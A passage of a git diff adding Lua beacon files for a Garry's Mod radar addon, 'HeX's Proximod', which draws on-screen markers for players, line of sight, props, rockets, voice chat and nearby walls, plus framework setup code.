proxi:GetCurrentViewData() + local refValue = math.Clamp( CVD.radiuseval / CVD.baseratio_nomargin, 1, 2 ) + + local cute = ent:GetAngles():Forward():Dot( EyeAngles():Forward() ) + local acute = math.abs( cute ) + local acutePA = 1 - acute ^ 2 + local acutePP = acute ^ 4 + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( ent:GetPos(), ent:GetPos() + ent:GetAngles():Forward() * 256 * refValue, 256 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePA ) ) + + render.SetMaterial( self.myOtherMaterial ) + render.DrawSprite( ent:GetPos() + ent:GetAngles():Forward() * 256 * refValue, 192 * refValue, 192 * refValue, Color( 255, 255, 255, 64 * acutePP ) ) + + render.SetMaterial( self.myBeamMaterial ) + render.DrawBeam( ent:GetPos(), ent:GetPos() + ent:GetAngles():Forward() * 512 * refValue, 32 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePP ) ) + + if cute < 0 then + render.DrawSprite( ent:GetPos(), 192 * refValue, 192 * refValue, Color( 255, 255, 255, 128 * acutePP ) ) + end + + +end + +proxi.RegisterBeacon( BEACON, "npclos" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua new file mode 100644 index 0000000..5bfe93c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua @@ -0,0 +1,53 @@ +local BEACON = {} +BEACON.Name = "Physical Props" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return string.find( entity:GetClass(), "prop_physics" ) or string.find( entity:GetClass(), "prop_ragdoll" ) + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + + if thisMathPool.ratio > 2 then return end + + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + render.DrawSprite( thisMathPool.conePos, 32, 32, Color( 255, 255, 255, 255 * cfAP ) ) //// + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + --render.DrawBeam( thisMathPool.posToProj, thisMathPool.conePos, 10, 0.3, 0.5, Color( 255, 255, 255, 255 * cfP ) ) + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + ent:DrawModel() + render.SetBlend( 1 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "physprops" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua new file mode 100644 index 0000000..c272ab1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua @@ -0,0 +1,46 @@ +local BEACON = {} +BEACON.Name = "Player LOS" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_cone_rev" ) + self.myOtherMaterial = Material( "proxi/beacon_circle" ) + self.myBeamMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end +function BEACON:DrawUnderCircle( ent ) + local CVD = proxi:GetCurrentViewData() + local refValue = math.Clamp( CVD.radiuseval / CVD.baseratio_nomargin, 1, 2 ) + + local cute = ent:GetAimVector():Dot( EyeAngles():Forward() ) + local acute = math.abs( cute ) + local acutePA = 1 - acute ^ 2 + local acutePP = acute ^ 4 + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( ent:GetShootPos(), ent:GetShootPos() + ent:GetAimVector() * 256 * refValue, 256 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePA ) ) + + render.SetMaterial( self.myOtherMaterial ) + render.DrawSprite( ent:GetShootPos() + ent:GetAimVector() * 256 * refValue, 192 * refValue, 192 * refValue, Color( 255, 255, 255, 64 * acutePP ) ) + + render.SetMaterial( self.myBeamMaterial ) + render.DrawBeam( ent:GetShootPos(), ent:GetShootPos() + ent:GetAimVector() * 512 * refValue, 32 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePP ) ) + + if cute < 0 then + render.DrawSprite( ent:GetShootPos(), 192 * refValue, 192 * refValue, Color( 255, 255, 255, 128 * acutePP ) ) + end + + +end + +proxi.RegisterBeacon( BEACON, "playerlos" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua new file mode 100644 index 0000000..71ca025 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua @@ -0,0 +1,106 @@ +local BEACON = {} +BEACON.Name = "Players" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = true + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + self.myTexture = surface.GetTextureID( "proxi/beacon_square_8" ) + self.myTriangle = surface.GetTextureID( "proxi/beacon_triangle" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + self.zLocalPos = LocalPlayer():GetPos().z + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + Vector( 0, 0, 92 ), 10, 0.3, 1, Color( 255, 255, 255, 255 * cfP ) ) + render.DrawSprite( thisMathPool.conePos, 32, 32, Color( 255, 255, 255, 255 * cfAP ) ) //// + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + if ValidEntity( ent:GetRagdollEntity() ) then + render.DrawBeam( thisMathPool.posToProj, ent:GetRagdollEntity():GetPos(), 10, 0.2, 0.8, Color( 255, 255, 255, 255 * cfP ) ) + ent:GetRagdollEntity():DrawModel() + + else + ent:DrawModel() + + end + render.SetBlend( 1 ) + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + + local xRel, yRel = proxi:ConvertPosToRelative( thisMathPool.conePos ) + local x, y = proxi:ConvertRelativeToScreen( xRel, yRel ) + + local teamColor = team.GetColor( ent:Team() ) + local ratio = 1 + + local relZ = (ent:GetPos().z - self.zLocalPos) + local isShift = math.abs( relZ ) > 100 + local iSize = (isShift and 20 or 14) * proxi:GetPinScale() + if isShift then + surface.SetTexture( self.myTriangle ) + + else + surface.SetTexture( self.myTexture ) + + end + surface.SetDrawColor( teamColor ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, isShift and ((relZ > 0) and 0 or 180) or 45) //// + + + local text = tostring( ent:Nick() ) + surface.SetFont( "DefaultSmall" ) + + if (thisMathPool.ratioClamped ~= 1) or (ent:GetFriendStatus() == "friend") then + local wB, hB = surface.GetTextSize( text ) + x = x - xRel * wB / 2 + y = y - yRel * hB / 2 + hB - (yRel > 0 and (yRel ^ 4 * hB * 2) or 0) + + if ent == LocalPlayer() then + ratio = 1 - (1 - thisMathPool.ratioClamped) ^ 3 + teamColor.a = 255 * ratio + end + + else + text = string.sub( text, 1, 1 ) + + end + draw.SimpleText( text, "DefaultSmall", x + 1, y + 1, Color( 0, 0, 0, 128 * ratio ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( text, "DefaultSmall", x, y, teamColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + +end + +proxi.RegisterBeacon( BEACON, "players" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua new file mode 100644 index 0000000..2622447 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua @@ -0,0 +1,74 @@ +local BEACON = {} +BEACON.Name = "Rockets" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = true + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "rpg_missile" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + if not thisMathPool.tracedata then + thisMathPool.tracedata = {} + thisMathPool.tracedata.filter = ent + + thisMathPool.traceres = {} + + end + + thisMathPool.tracedata.start = thisMathPool.posToProj + thisMathPool.tracedata.endpos = thisMathPool.posToProj + ent:GetVelocity():Normalize() * 1024 + thisMathPool.traceres = util.TraceLine( thisMathPool.tracedata ) + + render.SetMaterial( self.myMaterial ) + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + ent:GetVelocity() * 2, 64, 0.5, 1, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj - ent:GetVelocity() * 0.5, 64, 0.5, 1, Color( 255, 0, 0, 128 ) ) + render.DrawSprite( thisMathPool.conePos, 256, 256, Color( 255, 0, 0, 255 ) ) //// + + for i=1,10 do + render.DrawBeam( thisMathPool.traceres.HitPos, thisMathPool.traceres.HitPos + VectorRand() * 256 + thisMathPool.traceres.HitNormal * 512, 32, 0.5, 1, Color( 255, 255, 0, 128 ) ) + end + render.DrawSprite( thisMathPool.traceres.HitPos, 256, 256, Color( 255, 255, 0, 255 ) ) //// + +end + +/* +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + if thisMathPool.ratioClamped == 1 then return end + + local pos = ent:GetPos() + local x,y = proxi:ConvertPosToScreen( pos, 0, 0.1 ) + draw.SimpleText( " " .. ent:GetClass(), "ScoreboardText", x, y, Color( 255, 255, 255, 255 * (1 - thisMathPool.ratioClamped ^ 5) ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + x,y = proxi:ConvertPosToScreen( thisMathPool.traceres.HitPos, 0, 0 ) + draw.SimpleText( " < EXPLOSION", "ScoreboardText", x, y, Color( 255, 255, 255, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER ) +end*/ + +proxi.RegisterBeacon( BEACON, "rockets" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua new file mode 100644 index 0000000..7abf532 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua @@ -0,0 +1,75 @@ +local BEACON = {} +BEACON.HOOK = {} +BEACON.Name = "Voice Chat" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = surface.GetTextureID( "proxi/beacon_circle_add" ) + self.beaconTime = 1 + + self.myPlayerBase = {} + +end + + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end + +function BEACON:PerformMath( entity ) + if entity:IsSpeaking() then + if self.myPlayerBase[ entity ] == nil then + self.myPlayerBase[ entity ] = { false, {}, nil, nil, 0} + end + + if self.myPlayerBase[ entity ][ 5 ] < CurTime() then + self.myPlayerBase[ entity ][ 1 ] = true + self.myPlayerBase[ entity ][ 3 ] = entity:GetPos() + self.myPlayerBase[ entity ][ 4 ] = team.GetColor( entity:Team() ) + self.myPlayerBase[ entity ][ 5 ] = CurTime() + self.beaconTime + + end + + end + + local obj = self.myPlayerBase[ entity ] + if obj and obj[ 1 ] then + local thisMathPool = obj[ 2 ] + + proxi:ProjectPosition( thisMathPool, obj[ 3 ] ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + if obj[ 5 ] < CurTime() then + obj[ 1 ] = false + + end + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + local obj = self.myPlayerBase[ ent ] + if obj and obj[ 1 ] then + local thisMathPool = obj[ 2 ] + + local x, y = proxi:ConvertPosToScreen( thisMathPool.conePos ) + + obj[ 4 ].a = (1 - ((CurTime() - obj[ 5 ] + self.beaconTime) / self.beaconTime) ^ 2) * 128 + + local iSize = 24 * proxi:GetPinScale() * (1 + ((CurTime() - obj[ 5 ]) * 2) % 1) + surface.SetTexture( self.myMaterial ) + surface.SetDrawColor( obj[ 4 ] ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "voicechat" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua new file mode 100644 index 0000000..170df9b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua @@ -0,0 +1,89 @@ +local BEACON = {} +BEACON.Name = "Wallfinder 1st" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iTracesPerFrame = 3 + self.iGap = 1/3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 3 + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + +end + +function BEACON:PerformMath( ) + for iTraceNum = 1, self.iTracesPerFrame do + local CVD = proxi:GetCurrentViewData() + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceData.endpos = self.traceData.start + self.traceangle:Forward() * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + end + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + +end + +function BEACON:DrawUnderCircle( ) + for i = 1, self.iTracesPerFrame do + render.DrawBeam( self.traceData.start, self.traceData.start + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 64 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 64, 0, 1, Color( 192, 128, 255, 128 ) ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinder" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua new file mode 100644 index 0000000..249ddf5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua @@ -0,0 +1,113 @@ +local BEACON = {} +BEACON.Name = "Wallfinder with Piercer" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iPierceTimes = 2 + self.iTracesPerFrame = 3 + self.iGap = 1/3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 3 + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + +end + +function BEACON:PerformMath( ) + local numTracesPerformed = 0 + for iTraceNum = 1, self.iTracesPerFrame do + local CVD = proxi:GetCurrentViewData() + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceData.endpos = self.traceData.start + self.traceangle:Forward() * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.tWalls[ self.iWall ][3] = false + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + local pierceTime = 1 + while (pierceTime <= self.iPierceTimes) and self.traceRes.Hit do + self.traceData.start = self.traceRes.HitPos + self.traceangle:Forward() + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.tWalls[ self.iWall ][3] = true + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + end + + pierceTime = pierceTime + 1 + + end + + end + + //print( "Performed ".. numTracesPerformed .." traces this frame." ) + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + +end + +function BEACON:DrawUnderCircle( ) + /*for i = 1, self.iTracesPerFrame do + render.DrawBeam( self.traceData.start, self.traceData.start + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 64 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end*/ + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 64, 0, 1, self.tWalls[ i ][3] and Color( 255, 128, 192, 128 ) or Color( 192, 128, 255, 128 ) ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinderpierce" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua new file mode 100644 index 0000000..f88e0b5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua @@ -0,0 +1,154 @@ +local BEACON = {} +BEACON.Name = "Wallfinder with Traceback (Resource Intensive)" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iPierceTimes = 2 + self.iTracesPerFrame = 5 + self.iGap = 1 / self.iTracesPerFrame + self.fRadMul = 0.2 + self.fRadDes = 0.2 + self.fFracMul = 3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 6 // MAX WALLS IS DOUBLED AS OPPOSED TO PIERCER + + self.vAdd = Vector( 0, 0, 0 ) + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.traceforward = Vector( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.tracebackData = {} + self.tracebackData.mask = CONTENTS_SOLID + self.tracebackData.filter = nil + + self.tracebackRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + + self.wallColors = { Color( 192, 128, 255, 128 ), Color( 255, 128, 192, 64 ), Color( 255, 255, 128, 16 ) } + +end + +function BEACON:PerformMath( ) + local numTracesPerformed = 0 + local CVD = proxi:GetCurrentViewData() + local zPos = CVD.referencepos.z + + self.vAdd.z = (proxi:GetVar("eyemod_override") > 0) and -48 or 0 + + for iTraceNum = 1, self.iTracesPerFrame do + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.tracebackData.endpos = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceforward = self.traceangle:Forward() + self.traceData.endpos = self.traceData.start + self.traceforward * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 1 + self.tWalls[ self.iWall ][4] = zPos + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + local pierceTime = 1 + while (pierceTime <= self.iPierceTimes) and self.traceRes.Hit do + self.traceData.start = self.traceRes.HitPos + self.traceforward + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 2 + self.tWalls[ self.iWall ][4] = zPos + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + self.tracebackData.start = self.traceRes.HitPos - self.traceforward + self.tracebackRes = util.TraceLine( self.tracebackData ) + numTracesPerformed = numTracesPerformed + 1 + if self.tracebackRes.Hit then // It should always hit something, otherwise it's weird... + local crossMul = self.tracebackRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.tracebackRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.tracebackRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 3 + self.tWalls[ self.iWall ][4] = zPos + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + end + + end + + pierceTime = pierceTime + 1 + + end + + end + + //print( "Performed ".. numTracesPerformed .." traces this frame." ) + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + if math.abs(LocalPlayer():GetVelocity().z) < 32 then + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + end + +end + +function BEACON:DrawUnderCircle( ) + local CVD = proxi:GetCurrentViewData() + for i = 1, self.iTracesPerFrame do + render.DrawBeam( CVD.referencepos, CVD.referencepos + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 12 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + --render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 32 * CVD.radiuseval / CVD.baseratio_nomargin / 8192, 0, 1, self.wallColors[ self.tWalls[ i ][3] ] ) + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 48, 0.3, 0.7, self.wallColors[ self.tWalls[ i ][3] ] ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinderpierceback" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua new file mode 100644 index 0000000..67079d6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua @@ -0,0 +1,40 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + + +local HAY_MAIN = proxi +local HAY_INTERNAL = proxi_internal +local HAY_CLOUD = proxi_cloud +local HAY_UTIL = proxi_util +local HAY_NAME = PROXI_NAME +local HAY_SHORT = PROXI_SHORT +local HAY_DEBUG = PROXI_DEBUG + +local HAY_LOCAL = {} +HAY_LOCAL.concmd_prefix = "proxi_" +HAY_LOCAL.var_prefix = "cl_proxi_" + + +//local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +//local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +function HAYFRAME_SetupReferences( ) + return HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL + +end + +function HAYFRAME_SetupConstants( ) + return HAY_NAME, HAY_SHORT, HAY_DEBUG + +end + +function HAYFRAME_SetupParameter( sParam ) + return HAY_LOCAL[ sParam ] + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua new file mode 100644 index 0000000..7a864f7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua @@ -0,0 +1,154 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Changelog // +//////////////////////////////////////////////// + + 